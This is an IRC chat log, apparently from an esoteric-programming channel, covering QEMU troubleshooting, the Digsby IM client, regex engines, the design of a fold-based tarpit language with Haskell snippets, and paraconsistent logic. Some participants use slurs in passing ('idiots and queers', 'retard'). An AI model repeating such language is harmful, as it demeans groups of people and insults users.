20:52:39 <alise_> Miranda IM is popular with the anal-retentive tweakers.
20:52:50 <alise_> A few hours and it's exactly as good as Pidgin but with more alpha-translucency.
20:53:12 <fax> :/
20:53:12 * Sgeo doesn't like tweaking stuff
20:53:16 <alise_> Huh; Russ Cox wrote Code Search.
20:53:20 <fax> alise just give up on me after bitching
20:53:35 <alise_> fax: I just didn't notice what you said
20:53:40 <alise_> There are other people than you and they talk...
20:53:51 <alise_> I give up on people after I see a conversation going in circles, only.
20:55:42 <alise_> brb
20:55:47 <fax> people shouldn't repeat themselves if they don't like going in cirlecs..
20:55:59 <Sgeo> Can Miranda IM be made to support Facebook Chat?
20:56:14 <Sgeo> Apparently yes
20:56:52 <Sgeo> I remember using Miranda IM once when I couldn't get Pidgin working, and I remember HATING it
20:56:55 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
20:57:11 -!- Phantom_Hoover has joined.
20:57:42 <Phantom_Hoover> Bloody QEMU...
20:57:58 * fax weeps
20:58:04 <Phantom_Hoover> Why?
20:59:38 <Phantom_Hoover> *bangs head against keyboard*
20:59:42 <Gregor> What's wrong with Qemu?
21:00:36 <Phantom_Hoover> I'm trying to run a Linux kernel with -hda as a virtual disc, but it won't mount for some reason.
21:02:18 <Phantom_Hoover> If I run "qemu -m 32 -hda ./vm.img -kernel ~/.../bzImage -append "root=/dev/hda"" the console prints some stuff about not being able to mount
21:02:19 <Phantom_Hoover> .
21:02:43 <Gregor> Is hda a virtual disk or a filesystem? That is, is it partitioned?
21:03:01 <Phantom_Hoover> You mean vm.img?
21:03:07 <Gregor> Yeah
21:03:18 <Phantom_Hoover> It's a raw image with an ext3 filesystem on it.
21:03:31 <Gregor> Well, yuh, that should work, assuming the kernel has IDE support.
21:04:14 <Phantom_Hoover> It doesn't work with the kernel in /boot either, so I assume the fault isn't with the kernel.
21:04:46 <AnMaster> huh what happened...
21:04:59 <AnMaster> By mistake I left clicked a tab with ctrl held down in firefox
21:05:08 <AnMaster> it changed the tab title to begin with "(*)"
21:05:16 <AnMaster> repeating the click removes it
21:05:19 <AnMaster> fully reproducible
21:05:36 <AnMaster> but it seems to have no effect in behaviour
21:05:52 <AnMaster> anyone know if it is supposed to just do that, or do something else as well?
21:06:14 <AnMaster> I mean, if it is just to mark a tab, or it changes something wrt. how the tab behaves
21:07:15 <AnMaster> it could be from tab mix plus I suppose
21:08:34 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
21:12:37 <fax> alise?
21:17:29 <AnMaster> hm it does indeed seem to be related to tab mix plus
21:18:14 -!- Phantom_Hoover has joined.
21:19:10 <Phantom_Hoover> Should ChanServ really be giving me a dead link?
21:19:58 <lament> yes.
21:20:09 <Phantom_Hoover> But it's dead!
21:24:56 <Phantom_Hoover> It's bleeding demised! It's passed on! It's no more! It has ceased to be! It's expired and gone to meet its maker!
21:27:06 <oerjan> It's just resting.
21:27:19 <alise_> back
21:27:25 <oerjan> alise_: not you
21:27:28 <Phantom_Hoover> Oh, you were right.
21:27:42 <alise_> we backed up the frappr, so bah
21:28:10 <Phantom_Hoover> Where is this backup?
21:28:25 <alise_> on our hard drives
21:28:32 <alise_> AnMaster has it, so do I on my other machine
21:29:23 <Phantom_Hoover> Oh, does anyone now the reason for my Qemu problems?
21:29:31 <alise_> Apparently Digsby stopped bundling spyware, so I'll try it.
21:29:38 <alise_> Phantom_Hoover: #qemu?
21:29:51 <fax> alise alise alise alise
21:30:22 <Phantom_Hoover> alise_: Tried that. It doesn't let me say anything.
21:31:34 <alise_> Identify your nickname.
21:31:37 <alise_> fax: What?
21:31:41 <Phantom_Hoover> ...How?
21:31:48 <alise_> nickserv
21:31:58 <Phantom_Hoover> ...How?
21:32:09 <alise_> Just Fucking Google It
21:32:15 <fax> ;(
21:32:26 <fax> ghost sucker: /msg nickserv help
21:32:33 <fax> don't google anything
21:32:38 <fax> google is for idiots and queers
21:33:23 <alise_> real defensed proposition you got there
21:33:27 <alise_> you included all that evidence and reasoning
21:34:44 * oerjan uses a screwdriver to fix alise_'s joke detector
21:35:28 <fax> alise
21:35:32 <fax> I have to tell you this
21:35:38 <fax> Coq is a proof assistant based on dependent type theory developed at
21:35:38 <fax> INRIA [CDT08]. By default, it uses constructive logic via the Curry-Howard
21:35:38 <fax> isomorphism. This isomorphism associates propositions with types and proofs of
21:35:41 <fax> propositions with programs of the associated type. This makes Coq a functional
21:35:45 <fax> programming language as well as a deduction system. The identification of a pro-
21:35:48 <fax> gramming language with a deduction system allows Coq to reason about programs
21:35:51 <fax> and allows Coq to use computation to prove theorems.
21:35:59 <alise_> oerjan: well fax legit hates wikipedia, so...
21:38:11 <oerjan> alise_: so what you are saying is that fax incorporates poe's law all by himself?
21:39:50 <alise_> :)
21:40:05 <Phantom_Hoover> Oerjan: There seems to be some vandalism on the wiki.
21:40:24 <oerjan> to the esomobile!
21:40:46 <fax> alise -- are you really pissed off at me
21:41:04 <alise_> No.
21:41:15 <alise_> If I was, I would be FUCKING SHOUTING YOU RETARD <-- like that.
21:41:28 * oerjan uses the screwdriver to fix fax's joke detector as well.
21:41:28 <alise_> "Allow Digsby to use idle CPU time for grid computing." Uh, no?
21:41:29 <fax> okay
21:41:47 <fax> oerjan ?
21:42:10 <alise_> Manage all your IM, email and social
21:42:10 <alise_> network accounts with one login
21:42:13 <oerjan> fax: assuming you are referring to the Lazy Evaluation article?
21:42:17 <alise_> Suspicious. Do I have to give them my password?
21:42:20 <oerjan> that's clearly a joke
21:42:24 <fax> lazy evaluation?? no
21:42:35 <oerjan> wait waht
21:42:51 <Phantom_Hoover> Me?
21:42:52 * oerjan beats himself for confusing fax and Phantom_Hoover ===\__/
21:42:59 <oerjan> OH!
21:43:02 <alise_> Why do I need a Digsby account?
21:43:03 <alise_> We wanted to make it easier to use Digsby at multiple locations. Your Digsby account is used to synchronize preferences such as what skin to use and whether to show popups or not. When you sit down at another computer and log in to Digsby, the experience is completely seamless.
21:43:03 <oerjan> *OW!
21:43:06 <alise_> So: They store my password.
21:43:16 <ais523> reversibly
21:43:23 <alise_> Obviously.
21:43:24 <oerjan> fax: mind you your joke detector probably needs adjustment too
21:43:36 <fax> :/
21:43:42 <fax> I TAKE OFFENSE TO THIS
21:43:46 <oerjan> *Phantom_Hoover: assuming you are referring to the Lazy Evaluation article?
21:44:05 <alise_> Sgeo: Digsby used to bundle adware, now by default (1) uses a browser plugin to get cashbacks when you shop online (installer setting) (2) uses your idle CPU for grid computing (3) changes your homepage to a Digsby-branded Google Search. It also stores your IM passwords.
21:44:09 <alise_> Sgeo: I think I have said enough.
21:44:26 * alise_ gives his info anyway because dammit pidgin is /really/ badf
21:44:26 <alise_> *bad
21:44:35 <Phantom_Hoover> Yes.
21:45:02 <ais523> alise_: maybe you could write your own?
21:45:13 <ais523> hmm, even telnet is usable for IRC, but only if you don't do anything else
21:45:15 <fax> o_o
21:45:22 <alise_> ais523: Write Windows software? Are you kidding?
21:45:37 <ais523> alise_: I'd suggest not actually using the Windows API, that would be ridiculous
21:45:37 <oerjan> */me uses the screwdriver to fix Phantom_Hoover's joke detector as well.
21:45:48 <ais523> but can't you write portable software, and then run it on Windows?
21:46:00 * fax wanted to talk about dependent types/constructive math with ehird but seems not to be happening
21:46:18 <alise_> Yes, but I'd rather just get an internet connection that doesn't suck and use it to install Ubuntu.
21:46:19 <alise_> Or buy a Mac.
21:46:57 <alise_> fax: you can!!
21:47:01 <alise_> I love talking about those things
21:47:14 <alise_> Ooh, Digsby lets you sort contact by total size of logs.
21:47:16 <alise_> That's interesting.
21:49:36 <ais523> does anyone hear know what the common "now you have two problems" quip against regex means?
21:50:21 <fax> what it means??
21:50:30 <fax> it means that writing regex is a bitch
21:50:35 <fax> and doesn't make things easier
21:50:53 <oerjan> ais523 is so eso-adjusted that he thinks regexes are easy :D
21:51:12 <alise_> ais523: because regexps are brittle and often have scary performance
21:51:14 <ais523> regex makes things easier if it's appropriate for the problem
21:51:22 <Deewiant> ais523: The original quote is about sed, not regex.
21:51:26 <alise_> It's a quip, it doesn't have to be actually true.
21:51:26 <ais523> just, don't use it to parse XML or stupid things like that
21:51:36 <ais523> alise_: recognised; Deewiant: ah, interesting
21:52:02 <Deewiant> The UNIX-HATERS Handbook mentions it.
21:52:11 <fax> <3 unix haters handbook!
21:52:52 <ais523> is there a windows-haters handbook?
21:53:26 <Deewiant> Not to my knowledge.
21:53:33 <ais523> also, http://esolangs.org/wiki/Lazy_evaluation, now that's /clever/ vandalism
21:53:45 <ais523> much better than the typical "recursion" joke
21:54:01 <Phantom_Hoover> Yes.
21:54:06 <Deewiant> I'd leave that there
21:54:11 <ais523> I'm planning to
21:54:15 <Deewiant> Since there wasn't any content to start with
21:55:00 <ais523> also fun: Google have made a mostly PCRE-compatible regular expression engine
21:55:48 <ais523> expanding the acronym makes your head spin
21:56:05 <fax> lol
21:56:27 <fax> Firefox can't find the server at www.esolangs.org. :/
21:56:31 <Deewiant> Yes, it's the typical "fast but can't do everything" implementation using a Thompson NFA
21:56:39 <Gregor> ais523: ... why?
21:56:48 <fax> http://esoteric.voxelperfect.net/wiki/Lazy_evaluation
21:56:48 <ais523> Gregor: better worst-case performance
21:57:08 <ais523> so they can let people write arbitrary regexen and evaluate them without worrying about someone sending them an algorithmic complexity bomb
21:57:10 <Gregor> Except that worst-case performance of PCRE is almost a non-issue, the worst case never comes up ...
21:57:14 <Gregor> Ahhh
21:57:17 <Gregor> Arbitrary regex
21:57:18 <Deewiant> Most properly-maintained things use the slow algos
21:57:23 <Gregor> User-created malicious regex.
21:57:24 <Gregor> Gotcha.
21:59:01 <alise_> yes
21:59:05 <alise_> Russ Cox wrote it
21:59:10 <Phantom_Hoover> Only now do I get the lazy evaluation page.
21:59:11 <alise_> the same author of the famous article about it
21:59:19 <alise_> (and the author of Google Code Search which uses it)
22:02:41 <fax> Russ Cox???
22:05:46 <alise_> yes
22:06:05 <fax> alise_
22:06:06 <fax> PM me
22:07:33 <ais523> fax: can't you PM alise?
22:07:40 <fax> no
22:07:45 <fax> she doesn't want to talk to me
22:08:15 <ais523> there is something wrong with this reasoning...
22:08:19 <Gregor> Mayhaps that's because you mistook him for a woman :P
22:08:36 <ais523> hey, I've been careful for ages to avoid pronouns for alise, it's more fun that way
22:08:51 <ais523> well, third-person pronouns at least
22:08:54 <alise_> Gregor: Actually, she is the correct pronoun.
22:08:59 <ais523> imagine if "I" and "you" were gendered!
22:09:03 <alise_> It in fact matches reality more than he.
22:09:06 <alise_> Most people mistake me for a girl.
22:09:28 <fax> ounapfhounfakp
22:09:35 <alise_> Hotels: "Miss (mother's surname because I'm never asked for mine)". Taxis: "[Blah blah destination] ladies?"
22:09:49 <alise_> People, to my mother: "Blah blah blah your daughter"
22:09:52 <alise_> So on, so forth.
22:09:58 <alise_> fax: I'll talk if you say something to me.
22:09:58 <Phantom_Hoover> Weird.
22:10:02 <fax> :(
22:10:39 -!- kar8nga has quit (Remote host closed the connection).
22:10:49 <alise_> Phantom_Hoover: Long hair + ULTRA-SOFT PERSONALITY YO
22:11:00 <alise_> + young so no GRATUITOUS BODILY HAIR AND ADAM'S APPLE = Female!
22:11:08 <fax> wait until you hit puberty :(
22:11:42 <alise_> Hey, I have. It's just taking its sweet, sweet time :P
22:12:28 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
22:16:38 -!- mano0o0 has left (?).
22:16:46 <fax> ;(
22:17:01 <fizzie> alise_: Your girliness was pretty conclusively proven by that one video, you know.
22:17:26 <fax> video ?
22:17:47 <alise_> fax: I showed my female genitals! (not really)
22:17:51 <fax> gross
22:19:31 <fax> :|
22:20:27 <alise_> |:
22:20:37 <fax> I wish someone would talk to me about deptypes
22:20:57 <ais523> alise_: did you see my talk about Confloddle in the log?
22:21:36 <oerjan> deptypes are so depressing. it's in the name, really.
22:21:46 * Sgeo didn't see ais523's talk
22:21:49 <fax> -_--
22:21:59 <ais523> Sgeo: it's a new esolang I'm thinking about
22:22:09 <ais523> tarpit, as usual; I like tarpits that work differently from other tarpits
22:22:16 <alise_> fax: So SAY SOMETHING!
22:22:19 <fax> tits
22:22:47 <ais523> the only data type is the list (also function literals, but functions can't be manipulated in any way, just run, and there are no closures)
22:22:55 <alise_> fax: Okay, how about this: Make a paraconsistent deptyped language.
22:23:05 <ais523> and there are only two operators/commands, cons and foldl
22:23:11 <fax> I don't know what paraconsistent it but it sounds stupid
22:23:21 <oerjan> cunning tarpal syndrome
22:23:23 <alise_> I'd explain but I've forgotten how to spell a word
22:23:25 <alise_> And google isn't loading
22:23:26 <alise_> sec
22:23:40 <alise_> That is, p and ~p are allowed to coexist (dialetheia). You could do this by weakening _|_ -> forall a, a.
22:23:45 <ais523> I think this leads to a TC lang with 5 characters re<>: without cheating (the same way that BF is 8 ,.<>+-[] without cheating, although of course BF can be cut down)
22:24:32 <alise_> ais523: Nested folding on infinite lists seems trivially TC to me.
22:24:37 <alise_> ais523: idea -- eliminate >
22:24:40 <alise_> < lasts til end of program?
22:24:46 <ais523> no, <> delimit a function
22:24:52 <alise_> No <> is foldr
22:24:57 <ais523> <> is foldl
22:25:00 <alise_> er right
22:25:02 <ais523> and what's inside them is the function you fold on
22:25:04 <alise_> With infinite lists maybe this is acceptable, just having < last until EOF
22:25:09 <alise_> Try it.
22:25:12 <ais523> also, there's only one infinite list
22:25:30 <ais523> necessary because you can't return an infinite list in finite time
22:25:49 <ais523> < until EOF isn't obviously sub-TC, though
22:26:23 <alise_> fax: http://en.wikipedia.org/wiki/Paraconsistent_logic
22:26:23 <alise_> go for it
22:26:31 <alise_> ais523: Exactly.
22:26:38 <alise_> Wait, how do you combine r and e?
22:26:44 <alise_> oh, is re cons r e?
22:26:52 <ais523> no, it's reverse-polish
22:26:55 <ais523> re is a syntax error
22:26:59 <ais523> re: is cons r e
22:27:09 <alise_> oh, I didn't see :
22:27:35 <ais523> and <er:> is foldl `cons` []
22:27:37 <ais523> in other words, list reverse
22:27:41 <alise_> <r maps any list to the null list
22:27:44 <alise_> e<r is the null list
22:27:45 <ais523> yep
22:27:48 <ais523> yep again
22:27:51 <alise_> <er: is foldl `cons` []
22:27:55 <alise_> <e is last element
22:27:57 <alise_> <er: reverses
22:28:03 <alise_> "so you can get the first element of a list with <er:><e>"
22:28:08 <alise_> Can this be written without >?
22:28:14 <ais523> not obviously
22:28:17 <alise_> Perhaps by accumulating something into the result then folding on that.
22:28:58 <alise_> fax: So you want me to talk, then you dismiss and ignore me?
22:29:03 <fax> hi
22:29:06 <ais523> I think you have to grab the results of a calculation at the start of the next iteration of the main loop
22:29:10 <fax> I didn't want to interrupt ais
22:29:19 <alise_> we can interleave :)
22:29:22 <alise_> or use /msg
22:29:24 <ais523> fax: this is IRC, if you can't have two conversations at the same time you aren't concentrating enough
22:29:34 <alise_> ais523: ooh, nice
22:29:39 <alise_> but it has to be part of the main fold
22:29:45 <ais523> yes
22:29:57 <alise_> if we're having trouble just expressing first element of a list, this is either sub-tc or brilliantly TC
22:30:02 <ais523> and you have Confloddle's general issue with initialising
22:30:23 <ais523> the real problem here, is that insisting on using < but not > means that you can't get the return value from <> immediately
22:30:30 <ais523> you only get it in r on the next iteration of the loop
22:30:39 -!- Phantom_Hoover has joined.
22:30:47 <alise_> fax: http://en.wikipedia.org/wiki/Paraconsistent_logic#Relation_to_other_logics dual-intuitionistic logic may be a good place to steal things from
22:30:52 <alise_> but it has to be a proper language not just a logic
22:30:56 <fax> okay
22:31:04 <alise_> ais523: so basically we need
22:31:20 <alise_> if we're done then <e, else <er:
22:31:27 <ais523> hmm, for sake of argument, say we have a unary operator o that outputs a list to stdout, so we have something concrete to aim for, and likewise a nullary i that grabs a list from input
22:31:37 <ais523> can we input a list and output its first element?
22:31:49 -!- Phantom_Hoover has quit (Client Quit).
22:32:35 <ais523> hmm, I can't think of an obvious way, but that doesn't mean there isn't one
22:32:47 <alise_> i<er:
22:32:50 <alise_> what does this produce?
22:33:10 <alise_> what list to we operate on by default again?
22:33:17 <alise_> {{},{},{},...?
22:33:18 <ais523> an infinite list of null lists
22:33:20 <ais523> yep
22:33:33 <ais523> so e in the main loop is useless as it's always null
22:33:40 <ais523> I was thinking about maybe using it for input, but am not sure
22:33:44 <ais523> input-only would be... weird
22:34:08 <ais523> (leaving the main-loop r as a null list would be an obvious way to end a program, btw, because it provably goes into an infinite loop if you do that)
22:34:41 <alise_> so i replaces the main list with the input?
22:34:46 <alise_> I think that's wrong, it should cons it on
22:34:49 <alise_> so {thelist,{},{},{},...
22:34:58 <alise_> that way we could use the following lists as storage, somehow
22:35:01 <alise_> by folding into them
22:35:25 <ais523> r is the only storage you get in the main iteration, but it's enough
22:35:27 <ais523> you can cons onto it
22:35:33 <ais523> the general rule is that r is storage, e is input
22:35:41 <ais523> for the inside <>, so why not for the main loop too?
22:35:58 <alise_> ?
22:35:58 <alise_> so what does Xr: do
22:36:10 <alise_> just that
22:36:10 <alise_> what list does it result in, using X as a var
22:36:29 <ais523> [X | r] (prolog syntax)
22:36:41 <alise_> what is r
22:36:50 <ais523> r is the result of the last iteration of the current <>
22:36:53 <alise_> ffff
22:36:55 <alise_> just this program
22:36:56 <alise_> on its own
22:36:56 <alise_> Xr:
22:37:01 <alise_> what result does it yield?
22:37:25 <ais523> well, the main loop doesn't leave a result at all, but the value of r on each iteration goes [X] [X X] [X X X] and so on
22:37:51 <ais523> so if you can imagine you're using Proud or some other uncomputable lang to implement this, the return value is an infinite list of Xs
22:37:56 <ais523> but in a TC system, you never get that far
22:38:41 <alise_> oh, you could
22:38:46 <alise_> consider haskell
22:38:49 <ais523> well, you could optimise that case
22:38:51 <alise_> fix (1:) = [1,1,1,1,1,1,...
22:39:01 <ais523> hmm, ooh, lazy evaluation?
22:39:02 <alise_> ais523: ok, so r is {}?
22:39:09 <alise_> at the start
22:39:12 <ais523> r is initially a null list, yes
22:39:14 <ais523> for any <>
22:39:17 <alise_> so the whole program is a fold, right
22:39:18 <alise_> so
22:39:19 <alise_> er:
22:39:25 <alise_> what result does that yield
22:39:29 <alise_> e and r are both {}
22:39:31 <alise_> so it should be {{}}
22:39:37 <alise_> so you should get {{{}}, {{}}, ...
22:39:38 <alise_> right/
22:39:38 <ais523> no, the entire program's implicitly in a <>
22:39:41 <alise_> *right?
22:39:47 <alise_> oh, good point
22:39:49 <alise_> so you get...
22:39:54 <ais523> outside <> e and r have no meaning, but you can't be outside a <>
22:39:55 <alise_> { {{}, {}, {}, {}, ...} }
22:39:56 <alise_> I think
22:40:03 <ais523> no, because the return value is the final value of r
22:40:20 <ais523> there isn't a "final" one, but if there was, it would be [ [] [] [] [] [] ... ]
22:42:12 <alise_> so <er: is nop
22:42:14 <alise_> erm
22:42:15 <alise_> so er: is nop
22:42:24 <alise_> ais523: but do you see, that the main foldl,
22:42:29 <alise_> means that you can do
22:42:30 <alise_> x<y
22:42:32 <alise_> and get a nested fold?
22:42:36 <alise_> it's <x<y>>
22:42:38 <ais523> yes, I see that
22:42:44 <alise_> I bet we can use the main fold as storage for inner ones
22:42:48 <alise_> hmm... cons ought to be prefix
22:42:48 <ais523> in fact, that's obviously the only way to do practical non-> programs
22:42:51 <ais523> and so do I
22:42:52 <alise_> so we can do :xy<...
22:42:56 <alise_> erm
22:42:57 <alise_> :x<...
22:43:03 <ais523> I agree that prefix is much better than postfix in non-> programs
22:43:10 <ais523> postfix would be better for non-< programs
22:43:16 <alise_> also, just make it foldr and I think you can do laziness trivially
22:43:20 <ais523> and hey, a small syntax change doesn't matter if you're trying to tarpit something more
22:43:28 <ais523> also, foldr is really laziness-hostile
22:43:34 <ais523> because it starts with the last element of a list
22:43:40 <ais523> and to determine that, you have to force it
22:44:09 -!- augur has quit (Ping timeout: 265 seconds).
22:44:10 <ais523> OTOH, foldl doesn't work too well either, because you have to force it to determine the final value of r
22:45:31 <alise_> fax: http://projecteuclid.org/DPubS/Repository/1.0/Disseminate?view=body&id=pdfview_1&handle=euclid.ndjfl/1039886520
22:45:39 <alise_> ais523: that is not what foldr is...
22:45:58 <ais523> oh, I see
22:46:05 <alise_> foldr f x [e1,e2,e3,...] = f e1 (f e2 (f e3 x))
22:46:09 <alise_> it works on infinite lists
22:46:13 <alise_> unlike foldl
22:46:17 <ais523> a lazy foldr, to determine the final r, you determine the final e and the penultimate r
22:46:22 <ais523> and the second can be left lazy
22:46:26 <alise_> consider foldr (:) [] [1..]
22:46:31 <alise_> -> (:) 1 ((:) 1 ...
22:46:36 <alise_> -> [1,1,1,...]
22:46:39 <ais523> yep, I get it now
22:46:58 <ais523> is cons and foldr TC, though?
22:47:02 -!- Phantom_Hoover has joined.
22:47:14 <ais523> how do you, say, get the last element of a list? or the second?
22:47:19 <ais523> getting the second seems easier
22:47:48 -!- Phantom_Hoover has left (?).
22:47:49 <alise_> Prelude> take 10 $ foldr (\n xs -> n : map succ xs) [] [1..]
22:47:50 <alise_> [1,3,5,7,9,11,13,15,17,19]
22:47:57 <alise_> ais523: btw foldr = foldl, they're implementable in terms of each other (lazily)
22:48:05 <alise_> also, last element of a list with foldr...
22:48:15 <ais523> not purely each other, surely, you need to mess with at least some other primitives?
22:48:22 <ais523> and if there's something confloddle is short of, it's primitives
22:48:41 <alise_> first is
22:48:44 <alise_> ais523: nope
22:48:45 <alise_> well
22:48:47 <alise_> with cons and stuff
22:48:49 <alise_> anyway
22:48:51 <alise_> first elem is
22:48:56 <ais523> the "stuff" is the problem
22:49:01 <ais523> first is <e>, anyway, with foldr
22:49:05 <ais523> hmm... let's make it >e<
22:49:06 <alise_> foldr' (\x _ -> x) [1,2,3]
22:49:10 <alise_> *foldr1
22:49:12 <ais523> different notation so it's clear that we're doing something different
22:49:13 <alise_> (not that that exists, but)
22:49:17 <alise_> wait yes it does
22:49:23 <alise_> although it's a -> a -> a ofc
22:49:26 <alise_> which is upsettingly restricting
22:49:38 <alise_> but that doesn't concern you since yours is dynamically typed
22:49:38 <ais523> foldr1 does exist in Haskell
22:49:39 <alise_> but
22:49:46 <alise_> don't you want an initial value?
22:49:56 <ais523> confloddle's is (foldl []) though
22:50:02 <alise_> last element is
22:50:05 <alise_> foldr1 (\x y -> y)
22:50:11 <alise_> (isn't that easy?)
22:50:19 <Sgeo> alise_, did I mention that I'm considering making a Scheme?
22:50:20 <ais523> that's cheating
22:50:24 <alise_> no it is not
22:50:25 <ais523> foldr1 special-cases the last eleemnt
22:50:30 <alise_> ????
22:50:35 <alise_> oh you are right
22:51:19 <alise_> btw reverse is
22:51:24 <alise_> foldr (\x y -> y ++ [x])
22:51:38 <alise_> you can do head on that
22:51:53 <alise_> sp
22:51:53 <alise_> so
22:52:07 <alise_> foldr [] (\x _ -> x) . foldr [] (\x y -> y ++ [x])
22:52:26 <alise_> that fails to type but whatever :)
22:52:30 <alise_> the [] should be after
22:52:57 <alise_> Prelude> (foldr (\x _ -> x) [] . foldr (\x y -> y ++ [x]) []) [[1,2],[3,4]]
22:52:57 <alise_> [3,4]
22:53:28 <ais523> I agree with that definition, but ++ looks hard to do in a foldr-version of confloddle (conflodder?)
23:05:10 <alise_> I did ++
23:05:13 <alise_> folr (\xs ys -> foldr (:) ys xs) []
23:05:15 <alise_> *foldr
23:05:40 <ais523> I don't see how that works
23:05:45 <alise_> how would you write that in conflodder? assuming > exists
23:05:47 <ais523> because the whole thing seems to only take one argument
23:05:56 <alise_> [list1,list2]
23:06:12 <alise_> i.e. list1list2[]::
23:06:26 <ais523> and it's hard to do easily, because there's no way to have a second arg to foldr of anything but []
23:06:44 <ais523> in confloddle you can get around that by putting every element into a singleton list, and messing around with cons and last
23:06:47 <alise_> fax: try and make a logic-computation isomorphism for http://projecteuclid.org/DPubS/Repository/1.0/Disseminate?view=body&id=pdfview_1&handle=euclid.ndjfl/1039886520
23:06:53 <alise_> so where statements in that are types; give them semantic values
23:07:03 <alise_> ais523: So do that
23:08:06 <ais523> as in, instead of [a b c] you have [[a] [b] [c]], then foldl x y z is the same as foldl (\r -> x (last (cons y r))) [] z
23:08:16 <ais523> I think, I may have got the arguments the wrong way round
23:08:32 <alise_> so do that :)
23:08:39 <ais523> you have circularitiy problems trying that trick with foldr, though, as you'd have to implement last first
23:08:55 <ais523> and the same trick doesn't work with first, unfortunately
23:09:11 <alise_> fax: http://projecteuclid.org/DPubS/Repository/1.0/Disseminate?view=body&id=pdfview_1&handle=euclid.ndjfl/1039886520
23:09:11 <alise_> erm
23:09:20 <alise_> ugh
23:09:22 <alise_> pdf doesn't allow copying
23:09:39 <alise_> fax: basically there's a dual-intuitionistic set theory that has russell's paradox but is consistent
23:09:45 <alise_> ais523: Hey, I implemented last.
23:09:55 <fax> thsat's cscrewad
23:09:58 <alise_> (foldr (\x _ -> x) [] . foldr (\x y -> y ++ [x]) [])
23:10:06 <alise_> fax: please learn to type :|
23:10:08 <alise_> anyway do it!
23:10:10 <ais523> yep, but that's implemented in terms of ++
23:10:17 <alise_> it will be fucking awesome to have computational dual-intuitionistic
23:10:23 <alise_> ais523: ah :-D
23:10:25 <uorygl> What does it mean for something to have Russell's paradox but be consistent...
23:10:34 <alise_> uorygl: it means it allows p & ~p
23:10:39 <alise_> which is what paraconsistent logics do
23:10:42 <uorygl> Oh.
23:11:05 <alise_> dual-intuitionistic logic is intuitionistic logic's goatee-sporting, paraconsistent twin
23:11:05 <ais523> the major issue with foldr is finding just some way to do a foldr1 or a foldr with non-[] second arg or last or ++ or, well, anything
23:11:24 * alise_ defines fold f = foldr f [] to keep himself honest
23:11:30 <uorygl> I wonder if intuitionistic logic and paraconsistent logic are isomorphic somehow.
23:11:34 <alise_> ais523: maybe you should have a better last thing than []
23:11:41 <alise_> uorygl: Paraconsistent logic is a class of logics.
23:11:49 <ais523> I can't think of anything obvious; maybe I should go at it Wolfram-style and just generate loads of Conflodder programs to see if any do last
23:11:55 <alise_> Intuitionistic logic's "opposite", dual-intuitionistic, is paraconsistent.
23:12:02 * uorygl nods.
23:13:06 <uorygl> So, does the Web have any proof databases that accept all and only valid proofs?
23:13:14 <uorygl> Using an automatic proof verifier, of course.
23:13:20 <alise_> metamath
23:13:44 <alise_> ais523:
23:13:45 -!- tombom has quit (Quit: Leaving).
23:13:45 <alise_> Prelude> fold (\xs ys -> fold (\xs' ys' -> (xs' : ys') ++ ys) xs) [[1,2],[3,4]]
23:13:46 <alise_> [1,2,3,4,3,4]
23:13:50 <uorygl> Can I simply submit a proof to Metamath and see it appear?
23:13:52 <alise_> it's incorrect and depends on ++ but I think I'm honing in on a solution
23:13:55 <alise_> I'll ask #haskell
23:13:56 <alise_> uorygl: no.
23:13:59 <alise_> fax wants that
23:14:30 <uorygl> I also want that.
23:14:43 <uorygl> If fax is a programmer, maybe we can collaborate on getting that.
23:15:30 <alise_> fax hates programming
23:15:33 <alise_> It's a project of mine though
23:15:37 <alise_> Metastruct
23:16:13 <uorygl> It's a project of yours? Neat.
23:16:45 <alise_> Yes. No work done yet, but...
23:16:48 <uorygl> What programming language are you using, and what proof system are you using?
23:16:52 <alise_> My own, my own.
23:17:02 <uorygl> Same here. It's a project of mine with no work done. :P
23:17:13 <ais523> #haskell seems a non-obvious place to ask for easolangs
23:17:15 <alise_> Well. The proof system (dependent language) will be written in Haskell and so will be the website, but...
23:17:15 <uorygl> Except mine's called Kallipolis, written in Haskell, using Agda.
23:17:22 <alise_> Why not write it in Agda?
23:17:34 <uorygl> Hmm.
23:17:41 <alise_> uorygl: Agda doesn't have proof irrelevance
23:17:43 <alise_> sucks to be you
23:17:50 <uorygl> Proof irrelevance?
23:17:51 <ais523> alise_: somewhat offtopic: "I object to this attempt to initiate an Emergency. Per rule 31 of the previous ruleset, the change to the gamestate that prevents us from making arbitrary rule changes is cancelled retroactively, and we're still in the BGora Era."
23:17:57 <ais523> does that even work?
23:18:12 <alise_> uorygl: Google it.
23:18:32 <alise_> ais523: wat.
23:18:38 <alise_> hmm... idea
23:18:47 <uorygl> Google's not giving much useful.
23:19:59 <alise_> 23:18 <aavogt> alise_: can you write reverse with foldl, then do a left fold (which is a right fold on the original), and then reverse again if you produced a list?
23:19:59 <alise_> 23:18 <aavogt> as in can you flip the arguments to cons?
23:20:03 <alise_> ais523: in confludder
23:20:18 <uorygl> So what's proof irrelevance?
23:20:25 <ais523> alise_: that's how you do foldr in terms of foldl
23:20:29 <alise_> uorygl: Didn't I tell you to google it?
23:20:32 <ais523> rather than vice versa
23:20:45 <uorygl> alise_: yes, and I did Google it, and I came away with no impression of what it is.
23:22:07 <uorygl> Hmm, is it the equality of all proofs of a statement?
23:22:14 <alise_> uorygl: Yes.
23:22:16 <uorygl> Agda doesn't even have equality testing.
23:22:19 <alise_> Yes it does.
23:22:24 <alise_> See the standard library.
23:22:41 <uorygl> Really? Huh.
23:22:50 <alise_> data _===_ : {A:Set} -> (x:A) -> A -> Set where refl : x === x
23:23:04 <alise_> Use Coq or something else with proof irrelevance.
23:23:13 <alise_> At least until they add it.
23:24:01 <uorygl> Why is proof irrelevance so important?
23:24:34 <alise_> because it simplifies a lot of stuff.
23:27:52 <alise_> 23:26 <aavogt> > let xs ++ ys = let f = foldl (flip (:)) in f (f [] xs) (f [] ys) in "abc " ++ "alise_"
23:27:53 <alise_> 23:26 <lambdabot> "alise_ cba"
23:28:11 <alise_> foldr fial
23:28:12 <alise_> *fail
23:29:54 <alise_> uorygl: for instance proof irrelevance makes equality nicer
23:31:47 <uorygl> Maybe you can write a spec for your stuff and I can write it.
23:32:03 <alise_> Maybe I can do both because I hate collaborating :P
23:32:09 <uorygl> :P
23:33:48 <alise_> someone paste me the unicode mathematical [[ ]] chars :(
